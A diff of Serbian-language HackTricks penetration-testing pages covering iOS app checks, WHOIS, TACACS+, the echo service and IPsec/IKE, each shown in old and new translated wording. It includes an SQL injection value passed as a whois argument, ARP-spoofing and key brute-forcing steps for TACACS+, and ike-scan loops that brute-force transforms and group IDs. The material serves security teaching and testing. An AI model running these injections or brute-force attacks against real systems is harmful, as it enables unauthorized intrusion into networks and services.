* [ ] Ako se koristi [**funkcija koja može dinamički biti zaobiđena**](ios-pentesting/#local-authentication-using-keychain) možete kreirati prilagođeni frida skriptu
### Izloženost Osetljive Funkcionalnosti Putem IPC
* [**Prilagođeni URI rukovaoci / Duboki linkovi / Prilagođene Šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [**Prilagođeni URI handleri / Duboki linkovi / Prilagođene šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Proverite da li aplikacija **registruje neki protokol/šemu**
* [ ] Proverite da li aplikacija **registruje korišćenje** nekog protokola/šeme
* [ ] Proverite da li aplikacija **očekuje da primi bilo kakvu osetljivu informaciju** putem prilagođene šeme koju može **interceptovati** druga aplikacija koja registruje istu šemu
* [ ] Proverite da li aplikacija **očekuje da primi bilo kakvu vrstu osetljivih informacija** putem prilagođene šeme koju može **interceptovati** druga aplikacija koja registruje istu šemu
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka **ranjivost može biti iskorišćena**
* [ ] Proverite da li aplikacija **izlaže bilo koju osetljivu akciju** koja može biti pozvana sa bilo kog mesta putem prilagođene šeme
* [**Univerzalni Linkovi**](ios-pentesting/#universal-links)
@ -105,12 +105,12 @@ Drugi načini podrške HackTricks-u:
* [ ] Proverite koje vrste webview-ova se koriste
* [ ] Proverite status **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Proverite da li webview može **pristupiti lokalnim fajlovima** sa protokolom **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Proverite da li JavaScript može pristupiti **Nativnim** **metodama** (`JSContext`, `postMessage`)
### Komunikacija u mreži
* [ ] Proverite da li Javascript može pristupiti **nativnim metodama** (`JSContext`, `postMessage`)
### Komunikacija putem mreže
* [ ] Izvršite [**MitM napad na komunikaciju**](ios-pentesting/#network-communication) i potražite veb ranjivosti.
* [ ] Izvršite [**MitM napad na komunikaciju**](ios-pentesting/#network-communication) i potražite web ranjivosti.
* [ ] Proverite da li je proveren [**hostname sertifikata**](ios-pentesting/#hostname-check)
* [ ] Proverite/Bypass-ujte [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
* [ ] Proverite/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
### **Razno**
@ -119,7 +119,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -129,8 +129,8 @@ Drugi načini podrške HackTricks-u:
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite **zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -140,7 +140,7 @@ Drugi načini podrške HackTricks-u:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -36,11 +36,11 @@ Dobijte sve informacije koje whois servis ima o domenu:
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Primetite da se ponekad prilikom zahteva za određenim informacijama WHOIS servisom, baza podataka koja se koristi pojavljuje u odgovoru:
Primetite da se ponekad prilikom zahteva za informacijama WHOIS servis koristi baza podataka koja se koristi u odgovoru:
![](<../.gitbook/assets/image (147).png>)
Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za čuvanje i izvlačenje informacija. Stoga, moguća **SQLInjection** ranjivost može biti prisutna prilikom **upita** bazi podataka na osnovu informacija koje je pružio korisnik. Na primer, izvršavanjem komande: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` mogli biste biti u mogućnosti da **izvučete sve** informacije sačuvane u bazi podataka.
Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za čuvanje i izvlačenje informacija. Stoga, moguća **SQLInjection** ranjivost može biti prisutna prilikom **upita** baze podataka na osnovu informacija koje je pružio korisnik. Na primer, izvršavanjem komande: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` mogli biste **izvući sve** informacije sačuvane u bazi podataka.
# Shodan
@ -48,7 +48,7 @@ Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za čuvanje i izvla
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -76,11 +76,11 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini da podržite HackTricks:
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

View file

@ -1,30 +1,6 @@
# 49 - Pentesting TACACS+
# Osnovne informacije
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Osnovne informacije
Protokol **Terminal Access Controller Access Control System (TACACS)** se koristi za centralnu validaciju korisnika koji pokušavaju da pristupe ruterima ili Network Access Serverima (NAS). Njegova unapređena verzija, **TACACS+**, razdvaja usluge na autentifikaciju, autorizaciju i knjigovodstvo (AAA).
Protokol **Terminal Access Controller Access Control System (TACACS)** koristi se za centralnu validaciju korisnika koji pokušavaju da pristupe ruterima ili serverima za pristup mreži (NAS). Njegova unapređena verzija, **TACACS+**, razdvaja usluge na autentifikaciju, autorizaciju i knjigovodstvo (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
@ -33,22 +9,22 @@ PORT STATE SERVICE
## Presretanje autentifikacionog ključa
Ako komunikacija između klijenta i TACACS servera bude presretnuta od strane napadača, **može se presresti šifrovan autentifikacioni ključ**. Napadač zatim može pokušati **lokalni napad grubom silom na ključu bez otkrivanja u logovima**. Ukoliko uspešno izvrši napad grubom silom na ključu, napadač dobija pristup mrežnoj opremi i može dešifrovati saobraćaj koristeći alate poput Wireshark-a.
Ako komunikacija između klijenta i TACACS servera bude presretnuta od strane napadača, **šifrovani autentifikacioni ključ može biti presretnut**. Napadač može zatim pokušati **lokalni napad grubom silom na ključu bez detektovanja u logovima**. Ukoliko uspe u grubom silovanju ključa, napadač dobija pristup mrežnoj opremi i može dešifrovati saobraćaj koristeći alate poput Wireshark-a.
### Izvođenje MitM napada
**Napad lažiranja ARP-a može se koristiti za izvođenje napada Čovek-u-Sredini (MitM)**.
**Napad lažiranja ARP-a može biti iskorišćen za izvođenje napada Čovek-u-Sredini (MitM)**.
### Napad grubom silom na ključ
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) može se koristiti za napad grubom silom na ključu:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) može biti korišćen za napad grubom silom na ključu:
```
sudo loki_gtk.py
```
### Dekripcija saobraćaja
Kada se ključ uspešno probio, sledeći korak je **dekripcija TACACS-enkriptovanog saobraćaja**. Wireshark može obraditi enkriptovan TACACS saobraćaj ako je ključ obezbeđen. Analizom dekriptovanog saobraćaja, mogu se dobiti informacije poput **banera koji se koristi i korisničkog imena admin korisnika**.
### Dekriptovanje saobraćaja
Kada se ključ uspešno probio, sledeći korak je dekriptovanje TACACS-enkriptovanog saobraćaja. Wireshark može obraditi enkriptovan TACACS saobraćaj ako je ključ obezbeđen. Analizom dekriptovanog saobraćaja, mogu se dobiti informacije poput banera koji se koristi i korisničkog imena admin korisnika.
Dobijanjem pristupa kontrolnoj tabli mrežne opreme korišćenjem dobijenih akreditiva, napadač može preuzeti kontrolu nad mrežom. Važno je napomenuti da su ove radnje isključivo u edukativne svrhe i ne bi trebalo da se koriste bez odgovarajuće autorizacije.
Pristupom kontrolnoj tabli mrežne opreme korišćenjem dobijenih akreditiva, napadač može preuzeti kontrolu nad mrežom. Važno je napomenuti da su ove radnje isključivo u edukativne svrhe i ne bi trebalo da se koriste bez odgovarajuće autorizacije.
## Reference
@ -56,7 +32,7 @@ Dobijanjem pristupa kontrolnoj tabli mrežne opreme korišćenjem dobijenih akre
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,7 +4,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,8 +23,8 @@ Drugi načini podrške HackTricks-u:
# Osnovne Informacije
Na ovom hostu radi usluga eha. Usluga eha je namenjena testiranju i merenju i može slušati i TCP i UDP protokole. Server vraća bilo koje podatke koje primi, bez modifikacija.\
**Moguće je izazvati odbijanje usluge povezivanjem usluge eha sa uslugom eha na istom ili drugom računaru**. Zbog prekomernog broja paketa koji se proizvode, pogođeni računari mogu biti efikasno isključeni iz upotrebe.\
Na ovom hostu radi usluga eha. Usluga eha je namenjena za testiranje i merenje i može slušati i na TCP i UDP protokolima. Server vraća bilo koje podatke koje primi, bez modifikacija.\
**Moguće je izazvati denial of service povezivanjem eho usluge sa eho uslugom na istom ili drugom računaru**. Zbog prekomernog broja paketa koji se proizvode, pogođeni računari mogu biti efikasno isključeni iz upotrebe.\
Informacije sa [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Podrazumevani Port:** 7/tcp/udp
@ -52,7 +52,7 @@ Hello echo #This is the response
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -62,7 +62,7 @@ Hello echo #This is the response
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -30,7 +30,7 @@ Uspostavljanje **bezbednosne asocijacije (SA)** između dve tačke upravlja **IK
- **Faza 1:** Bezbedan kanal se kreira između dve tačke. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili **agresivni režim**.
- **Faza 1.5:** Iako nije obavezna, ova faza, poznata kao Faza Proširene Autentifikacije, proverava identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
- **Faza 2:** Ova faza je posvećena pregovaranju parametara za obezbeđivanje podataka sa **ESP** i **AH**. To omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala **Savršena Napredna Tajnost (PFS)**, poboljšavajući bezbednost.
- **Faza 2:** Ova faza je posvećena pregovaranju parametara za obezbeđivanje podataka sa **ESP** i **AH**. To omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala **Savršena Progresivna Tajnost (PFS)**, poboljšavajući bezbednost.
**Podrazumevani port:** 500/udp
@ -47,9 +47,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Pronalaženje validne transformacije**
IPSec konfiguracija može biti podešena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži broj atributa kao što su DES ili 3DES kao **algoritam za enkripciju**, SHA ili MD5 kao **algoritam za integritet**, prethodno deljeni ključ kao **tip autentikacije**, Diffie-Hellman 1 ili 2 kao algoritam za **distribuciju ključa** i 28800 sekundi kao **životni vek**.
IPSec konfiguracija može biti podešena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži nekoliko atributa kao što su DES ili 3DES kao **algoritam za enkripciju**, SHA ili MD5 kao **algoritam za integritet**, prethodno deljeni ključ kao **tip autentikacije**, Diffie-Hellman 1 ili 2 kao algoritam za distribuciju ključa i 28800 sekundi kao **životni vek**.
Zatim, prva stvar koju morate uraditi je **pronaći validnu transformaciju**, tako da će server komunicirati sa vama. Za to možete koristiti alat **ike-scan**. Podrazumevano, Ike-scan radi u glavnom režimu i šalje paket ka pristupnoj tački sa ISAKMP zaglavljem i jednim predlogom sa **osam transformacija unutar njega**.
Prvo što treba da uradite jeste da **pronađete validnu transformaciju**, kako bi server komunicirao sa vama. Za to možete koristiti alat **ike-scan**. Podrazumevano, Ike-scan radi u glavnom režimu i šalje paket ka pristupnoj tački sa ISAKMP zaglavljem i jednim predlogom sa **osam transformacija unutar njega**.
Na osnovu odgovora možete dobiti informacije o krajnjoj tački:
```
@ -67,11 +67,11 @@ Kao što možete videti u prethodnom odgovoru, postoji polje nazvano **AUTH** sa
* _0 returned handshake; 0 returned notify:_ Ovo znači da meta nije **IPsec gateway**.
* _**1 returned handshake; 0 returned notify:**_ Ovo znači da je **meta konfigurisana za IPsec i spremna je da izvrši IKE pregovore, i da je jedan ili više transformacija koje ste predložili prihvatljivo** (važeća transformacija će biti prikazana u izlazu).
* _0 returned handshake; 1 returned notify:_ VPN gateway-ovi odgovaraju sa obaveštenjem kada **nijedna od transformacija nije prihvatljiva** (mada neki gateway-ovi to ne rade, u tom slučaju treba izvršiti dalju analizu i probati sa revidiranim predlogom).
* _0 returned handshake; 1 returned notify:_ VPN gateway-ovi odgovaraju sa obaveštenjem kada **nijedna od transformacija nije prihvatljiva** (mada neki gateway-ovi to ne rade, u tom slučaju treba pokušati sa daljom analizom i revidiranim predlogom).
Zatim, u ovom slučaju već imamo važeću transformaciju, ali ako ste u trećem slučaju, onda morate **malčice probati sa brute-force-om da biste pronašli važeću transformaciju:**
Zatim, u ovom slučaju već imamo važeću transformaciju, ali ako se nalazite u 3. slučaju, tada morate **malčice probati da pronađete važeću transformaciju:**
Prvo treba da kreirate sve moguće transformacije:
Prvo, treba da kreirate sve moguće transformacije:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
@ -91,14 +91,14 @@ Takođe možete pokušati da grubo forsirate transformacije sa [**ikeforce**](ht
```
![](<../.gitbook/assets/image (109).png>)
U **DH grupi: 14 = 2048-bit MODP** i **15 = 3072-bit**\
U **DH grupi: 14 = 2048-bitni MODP** i **15 = 3072-bitni**\
**2 = HMAC-SHA = SHA1 (u ovom slučaju). Format `--trans` je $Enc,$Hash,$Auth,$DH**
Cisco preporučuje izbegavanje korišćenja DH grupa 1 i 2 jer nisu dovoljno jaki. Stručnjaci veruju da **zemlje sa velikim resursima lako mogu da probiju** enkripciju podataka koja koristi ove slabe grupe. To se postiže korišćenjem posebnog metoda koji ih priprema da brzo probiju kodove. Iako košta puno novca postaviti ovaj metod, omogućava ovim moćnim zemljama da čitaju enkriptovane podatke u realnom vremenu ako koriste grupu koja nije jaka (kao što je 1,024-bit ili manje).
Cisco preporučuje izbegavanje korišćenja DH grupa 1 i 2 jer nisu dovoljno jaki. Stručnjaci veruju da **zemlje sa velikim resursima lako mogu probiti enkripciju** podataka koji koriste ove slabe grupe. To se postiže korišćenjem posebnog metoda koji ih priprema da brzo probiju kodove. Iako košta puno novca postaviti ovaj metod, omogućava ovim moćnim zemljama da čitaju enkriptovane podatke u realnom vremenu ako koriste grupu koja nije jaka (kao što je 1,024-bitna ili manja).
### Fingerprintiranje servera
Zatim, možete koristiti ike-scan da pokušate **otkriti proizvođača** uređaja. Alat šalje početni predlog i prestaje sa reprodukcijom. Zatim, **analizira** **razliku u vremenu** između primljenih **poruka** od servera i odgovarajućeg obrasca odgovora, pentester može uspešno identifikovati proizvođača VPN gateway-a. Takođe, neki VPN serveri će koristiti opcioni **Vendor ID (VID) payload** sa IKE.
Zatim, možete koristiti ike-scan da pokušate **otkriti proizvođača** uređaja. Alat šalje početni predlog i prestaje sa reprodukcijom. Zatim, **analizira** **razliku u vremenu** između primljenih **poruka** od servera i odgovarajućeg obrasca odgovora, pentester može uspešno identifikovati proizvođača VPN gateway-a. Osim toga, neki VPN serveri će koristiti opcioni **Vendor ID (VID) payload** sa IKE.
**Navedite validnu transformaciju ako je potrebno** (koristeći --trans)
@ -124,9 +124,9 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
```
Ovo može biti postignuto i sa nmap skriptom _**ike-version**_
## Pronalaženje tačnog ID-a (imenovanje grupe)
## Pronalaženje ispravnog ID-a (imenovanje grupe)
Da biste bili u mogućnosti da uhvatite heš, potreban vam je validan transform koji podržava Agresivni režim i tačan ID (ime grupe). Verovatno nećete znati validno ime grupe, pa ćete morati da ga probate silom.
Da biste bili u mogućnosti da uhvatite heš, potreban vam je validan transform koji podržava Agresivni režim i ispravan ID (ime grupe). Verovatno nećete znati ispravno ime grupe, pa ćete morati da ga probate silom.
Da biste to uradili, preporučio bih vam 2 metode:
### Silom probijanje ID-a sa ike-scan
@ -135,17 +135,17 @@ Prvo pokušajte da napravite zahtev sa lažnim ID-om pokušavajući da prikupite
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Ako **nema povratne vrednosti heša**, tada će verovatno ovaj metod brute force napada raditi. **Ako se vrati neki heš, to znači da će se za lažni ID poslati lažni heš, pa ovaj metod neće biti pouzdan** za brute-force napad na ID. Na primer, može se vratiti lažni heš (ovo se dešava u modernim verzijama):
Ako **nijedan heš nije vraćen**, tada će verovatno ovaj metod brute force napada raditi. **Ako se vrati neki heš, to znači da će se za lažni ID poslati lažni heš, pa ovaj metod neće biti pouzdan** za brute-force napad na ID. Na primer, može se vratiti lažni heš (ovo se dešava u modernim verzijama):
![](<../.gitbook/assets/image (110).png>)
Ali ako, kao što sam rekao, nema povratne vrednosti heša, tada biste trebali pokušati da brute-force napadnete zajednička imena grupa koristeći ike-scan.
Ali ako, kao što sam rekao, nijedan heš nije vraćen, tada biste trebali pokušati da brute-forceujete uobičajena imena grupa koristeći ike-scan.
Ovaj skript **će pokušati da brute-force napadne moguće ID-ove** i vratiće ID-ove gde je vraćen validan handshake (ovo će biti validno ime grupe).
Ovaj skript **će pokušati da brute-forceuje moguće ID-ove** i vratiće ID-ove gde je vraćen validan handshake (ovo će biti validno ime grupe).
Ako ste otkrili određenu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
Ako ste otkrili određenu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
Možete koristiti [rečnik ikeforce-a](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ili [onaj u seclists-u](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) zajedničkih imena grupa za brute-force napade na njih:
Možete koristiti [rečnik ikeforce-a](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ili [onaj u seclists-u](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) uobičajenih imena grupa da ih brute-forceujete:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
@ -157,15 +157,15 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) je alat koji se može koristiti za **bruteforce ID-ova takođe**. Ovaj alat će **pokušati iskoristiti različite ranjivosti** koje bi mogle biti korištene za **razlikovanje između validnog i nevalidnog ID-a** (može imati lažne pozitivne i lažne negativne rezultate, zbog čega preferiram korišćenje metode ike-scan-a ako je moguće).
Podrazumevano, **ikeforce** će na početku poslati nekoliko nasumičnih ID-ova kako bi proverio ponašanje servera i odredio taktiku koju će koristiti.
Podrazumevano, **ikeforce** će na početku poslati neke nasumične ID-ove kako bi proverio ponašanje servera i odredio taktiku koju će koristiti.
* **Prva metoda** je da brute-force-uje imena grupa **tražeći** informacije **Dead Peer Detection DPD** Cisco sistema (ove informacije server emituje samo ako je ime grupe ispravno).
* **Prva metoda** je da brute-force-uje imena grupa **tražeći** informacije o **Dead Peer Detection DPD** kod Cisco sistema (ove informacije server emituje samo ako je ime grupe ispravno).
* **Druga dostupna metoda** je da **proverava broj poslatih odgovora za svaki pokušaj** jer se ponekad šalje više paketa kada se koristi ispravan ID.
* **Treća metoda** sastoji se od **traženja "INVALID-ID-INFORMATION" u odgovoru na neispravan ID**.
* **Treća metoda** se sastoji od **traženja "INVALID-ID-INFORMATION" u odgovoru na neispravan ID**.
* Na kraju, ako server ne emituje ništa kao odgovor na provere, **ikeforce** će pokušati da brute-force-uje server i proveri da li server emituje neki paket kada se pošalje ispravan ID.\
Očigledno, cilj brute force-ovanja ID-a je dobiti **PSK** kada imate validan ID. Zatim, sa **ID-em** i **PSK-om** moraćete da brute-force-ujete XAUTH (ako je omogućen).
Ako ste otkrili određenu transformaciju, dodajte je u ikeforce komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
